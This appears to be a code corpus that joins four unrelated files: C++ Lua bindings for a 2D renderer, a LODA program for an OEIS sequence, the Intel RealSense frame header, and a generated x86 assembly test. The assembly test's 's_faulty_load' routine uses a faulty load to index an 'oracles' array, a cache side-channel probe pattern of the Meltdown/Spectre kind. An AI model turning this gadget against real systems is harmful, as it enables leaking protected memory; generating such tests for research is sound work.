lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawSprite argument 5 should be a number (Height)");
// return 2 values
return 2;
}
// if there is no sixth argument
if (lua_isnumber(pLuaState, 6) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawSprite argument 6 should be a number (Rotation)");
// return 2 values
return 2;
}
// if there is no seventh argument
if (lua_isnumber(pLuaState, 7) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawSprite argument 7 should be a number (Depth)");
// return 2 values
return 2;
}
// if there is no eighth argument
if (lua_isnumber(pLuaState, 8) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawSprite argument 8 should be a number (OriginX)");
// return 2 values
return 2;
}
// if there is no ninth argument
if (lua_isnumber(pLuaState, 9) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawSprite argument 9 should be a number (OriginY)");
// return 2 values
return 2;
}
// get 9 values from lua and store
aie::Texture* pTexture = (aie::Texture*)lua_touserdata(pLuaState, 1);
float fX = (float)lua_tonumber(pLuaState, 2);
float fY = (float)lua_tonumber(pLuaState, 3);
float fWidth = (float)lua_tonumber(pLuaState, 4);
float fHeight = (float)lua_tonumber(pLuaState, 5);
float fRotation = (float)lua_tonumber(pLuaState, 6);
float fDepth = (float)lua_tonumber(pLuaState, 7);
float fOriginX = (float)lua_tonumber(pLuaState, 8);
float fOriginY = (float)lua_tonumber(pLuaState, 9);
// pop values off the stack
lua_pop(pLuaState, 9);
// call the renderer2d drawSprite function and pass on lua values
sm_pRenderer2D->drawSprite(pTexture, fX, fY, fWidth, fHeight, fRotation, fDepth, fOriginX, fOriginY);
// push true and returns 1 value
lua_pushboolean(pLuaState, true);
return 1;
}
//--------------------------------------------------------------------------------------
// l_DrawLine: Lua bindings for the bootstrap renderer2d DrawLine function.
//
// Param:
// pLuaState: pointer to the lua_State.
//
// Return:
// int: How many values are being returned.
//--------------------------------------------------------------------------------------
int LuaRenderer2D::l_DrawLine(lua_State* pLuaState)
{
// if the stack isnt 6
if (lua_gettop(pLuaState) != 6)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawLine requires exactly 6 arguments (X1, Y1, X2, Y2, Thickness, Depth)");
// return 2 values
return 2;
}
// if there is no first argument
if (lua_isnumber(pLuaState, 1) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawLine argument 1 should be a number (X1)");
// return 2 values
return 2;
}
// if there is no second argument
if (lua_isnumber(pLuaState, 2) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawLine argument 2 should be a number (Y1)");
// return 2 values
return 2;
}
// if there is no third argument
if (lua_isnumber(pLuaState, 3) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawLine argument 3 should be a number (X2)");
// return 2 values
return 2;
}
// if there is no fourth argument
if (lua_isnumber(pLuaState, 4) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawLine argument 4 should be a number (Y2)");
// return 2 values
return 2;
}
// if there is no fifth argument
if (lua_isnumber(pLuaState, 5) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawLine argument 5 should be a number (Thickness)");
// return 2 values
return 2;
}
// if there is no sixth argument
if (lua_isnumber(pLuaState, 6) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawLine argument 6 should be a number (Depth)");
// return 2 values
return 2;
}
// get 6 values from lua and store
float fX1 = (float)lua_tonumber(pLuaState, 1);
float fY1 = (float)lua_tonumber(pLuaState, 2);
float fX2 = (float)lua_tonumber(pLuaState, 3);
float fY2 = (float)lua_tonumber(pLuaState, 4);
float fThickness = (float)lua_tonumber(pLuaState, 5);
float fDepth = (float)lua_tonumber(pLuaState, 6);
// pop values off the stack
lua_pop(pLuaState, 6);
// call the renderer2d drawLine function and pass on lua values
sm_pRenderer2D->drawLine(fX1, fY1, fX2, fY2, fThickness, fDepth);
// push true and returns 1 value
lua_pushboolean(pLuaState, true);
return 1;
}
//--------------------------------------------------------------------------------------
// l_DrawCircle: Lua bindings for the bootstrap renderer2d DrawCircle function.
//
// Param:
// pLuaState: pointer to the lua_State.
//
// Return:
// int: How many values are being returned.
//--------------------------------------------------------------------------------------
int LuaRenderer2D::l_DrawCircle(lua_State* pLuaState)
{
// if the stack isnt 4
if (lua_gettop(pLuaState) != 4)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawCircle requires exactly 4 arguments (X, Y, Radius, Depth)");
// return 2 values
return 2;
}
// if there is no first argument
if (lua_isnumber(pLuaState, 1) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawCircle argument 1 should be a number (X)");
// return 2 values
return 2;
}
// if there is no second argument
if (lua_isnumber(pLuaState, 2) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawCircle argument 2 should be a number (Y)");
// return 2 values
return 2;
}
// if there is no third argument
if (lua_isnumber(pLuaState, 3) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawCircle argument 3 should be a number (Radius)");
// return 2 values
return 2;
}
// if there is no fourth argument
if (lua_isnumber(pLuaState, 4) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawCircle argument 4 should be a number (Depth)");
// return 2 values
return 2;
}
// get 4 values from lua and store
float fX = (float)lua_tonumber(pLuaState, 1);
float fY = (float)lua_tonumber(pLuaState, 2);
float fRadius = (float)lua_tonumber(pLuaState, 3);
float fDepth = (float)lua_tonumber(pLuaState, 4);
// pop values off the stack
lua_pop(pLuaState, 4);
// call the renderer2d drawCircle function and pass on lua values
sm_pRenderer2D->drawCircle(fX, fY, fRadius, fDepth);
// push true and returns 1 value
lua_pushboolean(pLuaState, true);
return 1;
}
//--------------------------------------------------------------------------------------
// l_DrawBox: Lua bindings for the bootstrap renderer2d DrawBox function.
//
// Param:
// pLuaState: pointer to the lua_State.
//
// Return:
// int: How many values are being returned.
//--------------------------------------------------------------------------------------
int LuaRenderer2D::l_DrawBox(lua_State* pLuaState)
{
// if the stack isnt 6
if (lua_gettop(pLuaState) != 6)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawBox requires exactly 6 arguments (X, Y, Width, Height, Rotation, Depth)");
// return 2 values
return 2;
}
// if there is no first argument
if (lua_isnumber(pLuaState, 1) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawBox argument 1 should be a number (X)");
// return 2 values
return 2;
}
// if there is no second argument
if (lua_isnumber(pLuaState, 2) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawBox argument 2 should be a number (Y)");
// return 2 values
return 2;
}
// if there is no third argument
if (lua_isnumber(pLuaState, 3) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawBox argument 3 should be a number (Width)");
// return 2 values
return 2;
}
// if there is no fourth argument
if (lua_isnumber(pLuaState, 4) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawBox argument 4 should be a number (Height)");
// return 2 values
return 2;
}
// if there is no fifth argument
if (lua_isnumber(pLuaState, 5) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawBox argument 5 should be a number (Rotation)");
// return 2 values
return 2;
}
// if there is no sixth argument
if (lua_isnumber(pLuaState, 6) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawBox argument 6 should be a number (Depth)");
// return 2 values
return 2;
}
// get 6 float values from lua and store
float fX = (float)lua_tonumber(pLuaState, 1);
float fY = (float)lua_tonumber(pLuaState, 2);
float fWidth = (float)lua_tonumber(pLuaState, 3);
float fHeight = (float)lua_tonumber(pLuaState, 4);
float fRotation = (float)lua_tonumber(pLuaState, 5);
float fDepth = (float)lua_tonumber(pLuaState, 6);
// pop values off the stack
lua_pop(pLuaState, 6);
// call the renderer2d drawBox function and pass on lua values
sm_pRenderer2D->drawBox(fX, fY, fWidth, fHeight, fRotation, fDepth);
// push true and returns 1 value
lua_pushboolean(pLuaState, true);
return 1;
}
//--------------------------------------------------------------------------------------
// l_DrawText: Lua bindings for the bootstrap renderer2d DrawText function.
//
// Param:
// pLuaState: pointer to the lua_State.
//
// Return:
// int: How many values are being returned.
//--------------------------------------------------------------------------------------
int LuaRenderer2D::l_DrawText(lua_State* pLuaState)
{
// if the stack isnt 5
if (lua_gettop(pLuaState) != 5)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawText requires exactly 5 arguments (Font, Text, X, Y, Depth)");
// return 2 values
return 2;
}
// if there is no first argument
if (lua_isuserdata(pLuaState, 1) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawText argument 1 should be a user data (Font)");
// return 2 values
return 2;
}
// if there is no second argument
if (lua_isstring(pLuaState, 2) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawText argument 2 should be a string (Text)");
// return 2 values
return 2;
}
// if there is no third argument
if (lua_isnumber(pLuaState, 3) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawText argument 3 should be a number (X)");
// return 2 values
return 2;
}
// if there is no fourth argument
if (lua_isnumber(pLuaState, 4) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawText argument 4 should be a number (Y)");
// return 2 values
return 2;
}
// if there is no fifth argument
if (lua_isnumber(pLuaState, 5) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawText argument 5 should be a number (Depth)");
// return 2 values
return 2;
}
// get 5 float values from lua and store
aie::Font* pFont = (aie::Font*)lua_touserdata(pLuaState, 1);
const char* kcpText = (char*)lua_tostring(pLuaState, 2);
float fX = (float)lua_tonumber(pLuaState, 3);
float fY = (float)lua_tonumber(pLuaState, 4);
float fDepth = (float)lua_tonumber(pLuaState, 5);
// pop values off the stack
lua_pop(pLuaState, 5);
// call the renderer2d drawText function and pass on lua values
sm_pRenderer2D->drawText(pFont, kcpText, fX, fY, fDepth);
// push true and returns 1 value
lua_pushboolean(pLuaState, true);
return 1;
} |
; A074932: Row sums of unsigned triangle A075513.
; Submitted by Christian Krause
; 1,3,18,170,2200,36232,725200,17095248,463936896,14246942336,488428297984,18491942300416,766293946203136,34498781924766720,1676731077272217600,87501958444207351808,4880017252828686155776,289655721031484738535424,18231279080451464448114688,1212880937770429314552496128,85040188230548235213757218816,6267576316623856254102842114048,484413639391003906427308826165248,39177736919779382371753361185177600,3309134775485211151931439020769280000,291379133234011033734684723617760018432
mov $4,$0
add $0,1
lpb $0
sub $0,1
mov $2,$1
add $2,1
pow $2,$4
mov $3,$4
bin $3,$1
add $1,1
mul $3,$2
add $5,$3
lpe
mov $0,$5
|
// License: Apache 2.0. See LICENSE file in root directory.
// Copyright(c) 2017 Intel Corporation. All Rights Reserved.
#ifndef LIBREALSENSE_RS2_FRAME_HPP
#define LIBREALSENSE_RS2_FRAME_HPP
#include "rs_types.hpp"
#include "rs_sensor.hpp"
namespace rs2
{
class frame
{
public:
frame() : frame_ref(nullptr) {}
frame(rs2_frame* frame_ref) : frame_ref(frame_ref) {}
frame(frame&& other) noexcept : frame_ref(other.frame_ref) { other.frame_ref = nullptr; }
frame& operator=(frame other)
{
swap(other);
return *this;
}
frame(const frame& other)
: frame_ref(other.frame_ref)
{
if (frame_ref) add_ref();
}
void swap(frame& other)
{
std::swap(frame_ref, other.frame_ref);
}
/**
* relases the frame handle
*/
~frame()
{
if (frame_ref)
{
rs2_release_frame(frame_ref);
}
}
operator bool() const { return frame_ref != nullptr; }
/**
* retrieve the time at which the frame was captured
* \return the timestamp of the frame, in milliseconds since the device was started
*/
double get_timestamp() const
{
rs2_error* e = nullptr;
auto r = rs2_get_frame_timestamp(frame_ref, &e);
error::handle(e);
return r;
}
/** retrieve the timestamp domain
* \return timestamp domain (clock name) for timestamp values
*/
rs2_timestamp_domain get_frame_timestamp_domain() const
{
rs2_error* e = nullptr;
auto r = rs2_get_frame_timestamp_domain(frame_ref, &e);
error::handle(e);
return r;
}
/** retrieve the current value of a single frame_metadata
* \param[in] frame_metadata the frame_metadata whose value should be retrieved
* \return the value of the frame_metadata
*/
rs2_metadata_type get_frame_metadata(rs2_frame_metadata_value frame_metadata) const
{
rs2_error* e = nullptr;
auto r = rs2_get_frame_metadata(frame_ref, frame_metadata, &e);
error::handle(e);
return r;
}
/** determine if the device allows a specific metadata to be queried
* \param[in] frame_metadata the frame_metadata to check for support
* \return true if the frame_metadata can be queried
*/
bool supports_frame_metadata(rs2_frame_metadata_value frame_metadata) const
{
rs2_error* e = nullptr;
auto r = rs2_supports_frame_metadata(frame_ref, frame_metadata, &e);
error::handle(e);
return r != 0;
}
/**
* retrieve frame number (from frame handle)
* \return the frame nubmer of the frame, in milliseconds since the device was started
*/
unsigned long long get_frame_number() const
{
rs2_error* e = nullptr;
auto r = rs2_get_frame_number(frame_ref, &e);
error::handle(e);
return r;
}
/**
* retrieve data from frame handle
* \return the pointer to the start of the frame data
*/
const void* get_data() const
{
rs2_error* e = nullptr;
auto r = rs2_get_frame_data(frame_ref, &e);
error::handle(e);
return r;
}
stream_profile get_profile() const
{
rs2_error* e = nullptr;
auto s = rs2_get_frame_stream_profile(frame_ref, &e);
error::handle(e);
return stream_profile(s);
}
template<class T>
bool is() const
{
T extension(*this);
return extension;
}
template<class T>
T as() const
{
T extension(*this);
return extension;
}
rs2_frame* get() const { return frame_ref; }
protected:
/**
* create additional reference to a frame without duplicating frame data
* \param[out] result new frame reference, release by destructor
* \return true if cloning was successful
*/
void add_ref() const
{
rs2_error* e = nullptr;
rs2_frame_add_ref(frame_ref, &e);
error::handle(e);
}
void reset()
{
if (frame_ref)
{
rs2_release_frame(frame_ref);
}
frame_ref = nullptr;
}
friend class frame_queue;
friend class syncer;
friend class frame_source;
friend class processing_block;
friend class pointcloud_block;
private:
rs2_frame* frame_ref;
};
class video_frame : public frame
{
public:
video_frame(const frame& f)
: frame(f)
{
rs2_error* e = nullptr;
if(!f || (rs2_is_frame_extendable_to(f.get(), RS2_EXTENSION_VIDEO_FRAME, &e) == 0 && !e))
{
reset();
}
error::handle(e);
}
/**
* returns image width in pixels
* \return frame width in pixels
*/
int get_width() const
{
rs2_error* e = nullptr;
auto r = rs2_get_frame_width(get(), &e);
error::handle(e);
return r;
}
/**
* returns image height in pixels
* \return frame height in pixels
*/
int get_height() const
{
rs2_error* e = nullptr;
auto r = rs2_get_frame_height(get(), &e);
error::handle(e);
return r;
}
/**
* retrieve frame stride, meaning the actual line width in memory in bytes (not the logical image width)
* \return stride in bytes
*/
int get_stride_in_bytes() const
{
rs2_error* e = nullptr;
auto r = rs2_get_frame_stride_in_bytes(get(), &e);
error::handle(e);
return r;
}
/**
* retrieve bits per pixel
* \return number of bits per one pixel
*/
int get_bits_per_pixel() const
{
rs2_error* e = nullptr;
auto r = rs2_get_frame_bits_per_pixel(get(), &e);
error::handle(e);
return r;
}
int get_bytes_per_pixel() const { return get_bits_per_pixel() / 8; }
};
struct vertex {
float x, y, z;
operator const float*() const { return &x; }
};
struct texture_coordinate {
float u, v;
operator const float*() const { return &u; }
};
class points : public frame
{
public:
points() : frame(), _size(0) {}
points(const frame& f)
: frame(f), _size(0)
{
rs2_error* e = nullptr;
if(!f || (rs2_is_frame_extendable_to(f.get(), RS2_EXTENSION_POINTS, &e) == 0 && !e))
{
reset();
}
error::handle(e);
if (get())
{
rs2_error* e = nullptr;
_size = rs2_get_frame_points_count(get(), &e);
error::handle(e);
}
}
const vertex* get_vertices() const
{
rs2_error* e = nullptr;
auto res = rs2_get_frame_vertices(get(), &e);
error::handle(e);
return (const vertex*)res;
}
const texture_coordinate* get_texture_coordinates() const
{
rs2_error* e = nullptr;
auto res = rs2_get_frame_texture_coordinates(get(), &e);
error::handle(e);
return (const texture_coordinate*)res;
}
size_t size() const
{
return _size;
}
private:
size_t _size;
};
class depth_frame : public video_frame
{
public:
depth_frame(const frame& f)
: video_frame(f)
{
rs2_error* e = nullptr;
if (!f || (rs2_is_frame_extendable_to(f.get(), RS2_EXTENSION_DEPTH_FRAME, &e) == 0 && !e))
{
reset();
}
error::handle(e);
}
float get_distance(int x, int y) const
{
rs2_error * e = nullptr;
auto r = rs2_depth_frame_get_distance(get(), x, y, &e);
error::handle(e);
return r;
}
};
class frameset : public frame
{
public:
frameset():_size(0) {};
frameset(const frame& f)
: frame(f), _size(0)
{
rs2_error* e = nullptr;
if(!f || (rs2_is_frame_extendable_to(f.get(), RS2_EXTENSION_COMPOSITE_FRAME, &e) == 0 && !e))
{
reset();
}
error::handle(e);
if (get())
{
rs2_error* e = nullptr;
_size = rs2_embedded_frames_count(get(), &e);
error::handle(e);
}
}
frame first_or_default(rs2_stream s) const
{
frame result;
foreach([&result, s](frame f){
if (!result && f.get_profile().stream_type() == s)
{
result = std::move(f);
}
});
return result;
}
frame first(rs2_stream s) const
{
auto f = first_or_default(s);
if (!f) throw error("Frame of requested stream type was not found!");
return f;
}
depth_frame get_depth_frame() const
{
auto f = first_or_default(RS2_STREAM_DEPTH);
return f.as<depth_frame>();
}
video_frame get_color_frame()
{
auto f = first_or_default(RS2_STREAM_COLOR);
if (!f)
{
auto ir = first_or_default(RS2_STREAM_INFRARED);
if (ir && ir.get_profile().format() == RS2_FORMAT_RGB8)
f = ir;
}
return f;
}
size_t size() const
{
return _size;
}
template<class T>
void foreach(T action) const
{
rs2_error* e = nullptr;
auto count = size();
for (size_t i = 0; i < count; i++)
{
auto fref = rs2_extract_frame(get(), (int)i, &e);
error::handle(e);
action(frame(fref));
}
}
frame operator[](size_t index) const
{
rs2_error* e = nullptr;
if(index < size())
{
auto fref = rs2_extract_frame(get(), (int)index, &e);
error::handle(e);
return frame(fref);
}
throw error("Requested index is out of range!");
}
class iterator
{
public:
iterator(frameset* owner, size_t index = 0) : _owner(owner), _index(index) {}
iterator& operator++() { ++_index; return *this; }
bool operator==(const iterator& other) const { return _index == other._index; }
bool operator!=(const iterator& other) const { return !(*this == other); }
frame operator*() { return (*_owner)[_index]; }
private:
size_t _index = 0;
frameset* _owner;
};
iterator begin() { return iterator(this); }
iterator end() { return iterator(this, size()); }
private:
size_t _size;
};
class frame_source
{
public:
frame allocate_video_frame(const stream_profile& profile,
const frame& original,
int new_bpp = 0,
int new_width = 0,
int new_height = 0,
int new_stride = 0,
rs2_extension frame_type = RS2_EXTENSION_VIDEO_FRAME) const
{
rs2_error* e = nullptr;
auto result = rs2_allocate_synthetic_video_frame(_source, profile.get(),
original.get(), new_bpp, new_width, new_height, new_stride, frame_type, &e);
error::handle(e);
return result;
}
frame allocate_composite_frame(std::vector<frame> frames) const
{
rs2_error* e = nullptr;
std::vector<rs2_frame*> refs(frames.size(), nullptr);
for (size_t i = 0; i < frames.size(); i++)
std::swap(refs[i], frames[i].frame_ref);
auto result = rs2_allocate_composite_frame(_source, refs.data(), (int)refs.size(), &e);
error::handle(e);
return result;
}
void frame_ready(frame result) const
{
rs2_error* e = nullptr;
rs2_synthetic_frame_ready(_source, result.get(), &e);
error::handle(e);
result.frame_ref = nullptr;
}
rs2_source* _source;
private:
template<class T>
friend class frame_processor_callback;
frame_source(rs2_source* source) : _source(source) {}
frame_source(const frame_source&) = delete;
};
}
#endif // LIBREALSENSE_RS2_FRAME_HPP
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r14
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x1e8a9, %r14
add $32124, %rdx
mov (%r14), %r12w
nop
nop
and %r14, %r14
lea addresses_D_ht+0xd129, %r8
nop
nop
nop
xor %r13, %r13
mov (%r8), %r10d
nop
nop
nop
nop
and $27395, %r8
lea addresses_WC_ht+0x160d, %rsi
lea addresses_normal_ht+0x577b, %rdi
nop
nop
nop
and $6079, %r12
mov $51, %rcx
rep movsq
nop
nop
nop
nop
nop
mfence
lea addresses_WC_ht+0x101b0, %rsi
lea addresses_UC_ht+0x79a8, %rdi
nop
sub %r10, %r10
mov $24, %rcx
rep movsl
nop
nop
nop
dec %r8
lea addresses_D_ht+0x2049, %rsi
nop
nop
nop
nop
dec %rcx
mov (%rsi), %r10w
nop
nop
nop
cmp $35650, %r14
lea addresses_D_ht+0x19529, %rsi
lea addresses_WC_ht+0x1b016, %rdi
nop
sub %r13, %r13
mov $68, %rcx
rep movsb
nop
nop
nop
nop
nop
and $11643, %rsi
lea addresses_A_ht+0x1daa9, %rsi
lea addresses_WT_ht+0x13f51, %rdi
nop
nop
nop
xor $35254, %rdx
mov $77, %rcx
rep movsb
nop
nop
nop
nop
nop
and $5790, %rcx
lea addresses_WT_ht+0x80e1, %r12
nop
nop
nop
nop
nop
add $58099, %rdi
mov (%r12), %esi
nop
nop
sub $4992, %rdx
lea addresses_A_ht+0x10001, %r10
nop
nop
nop
nop
nop
xor %r12, %r12
mov (%r10), %rsi
nop
xor $47935, %rsi
lea addresses_A_ht+0x2283, %rdi
clflush (%rdi)
add $58420, %rdx
mov (%rdi), %r14
nop
nop
add $27841, %rcx
lea addresses_WC_ht+0x13b09, %rdi
nop
nop
nop
nop
cmp $43539, %rcx
movl $0x61626364, (%rdi)
nop
xor %r13, %r13
lea addresses_D_ht+0x1dc59, %r8
nop
cmp %rdi, %rdi
movb (%r8), %r14b
nop
sub %rcx, %rcx
lea addresses_UC_ht+0x8f29, %r13
nop
nop
nop
add %rdx, %rdx
and $0xffffffffffffffc0, %r13
movaps (%r13), %xmm7
vpextrq $1, %xmm7, %rsi
nop
nop
nop
nop
sub $14919, %r13
lea addresses_UC_ht+0xe729, %rsi
clflush (%rsi)
nop
nop
nop
nop
nop
add %r13, %r13
mov $0x6162636465666768, %rdx
movq %rdx, %xmm5
and $0xffffffffffffffc0, %rsi
movntdq %xmm5, (%rsi)
nop
nop
cmp %rdx, %rdx
lea addresses_WT_ht+0xe429, %rsi
lea addresses_WT_ht+0x3329, %rdi
nop
nop
nop
nop
nop
cmp $24436, %r8
mov $102, %rcx
rep movsb
nop
nop
dec %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r14
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r15
push %r9
push %rcx
push %rdx
push %rsi
// Load
lea addresses_UC+0xd529, %r9
nop
nop
nop
nop
nop
xor $41057, %rsi
mov (%r9), %r15
nop
nop
nop
xor %r9, %r9
// Store
lea addresses_A+0x5009, %rcx
nop
nop
nop
nop
cmp %rdx, %rdx
movb $0x51, (%rcx)
nop
nop
nop
nop
nop
sub %rsi, %rsi
// Faulty Load
lea addresses_D+0x15d29, %r15
clflush (%r15)
nop
nop
nop
nop
and %rcx, %rcx
movb (%r15), %r13b
lea oracles, %rcx
and $0xff, %r13
shlq $12, %r13
mov (%rcx,%r13,1), %r13
pop %rsi
pop %rdx
pop %rcx
pop %r9
pop %r15
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_D', 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC', 'congruent': 10}}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_A', 'congruent': 5}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 6}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 10}}
{'dst': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}}
{'dst': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 5}}
{'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_A_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 1}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 3}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 1}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC_ht', 'congruent': 5}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_D_ht', 'congruent': 2}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 9}}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 9}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}}
{'36': 21829}
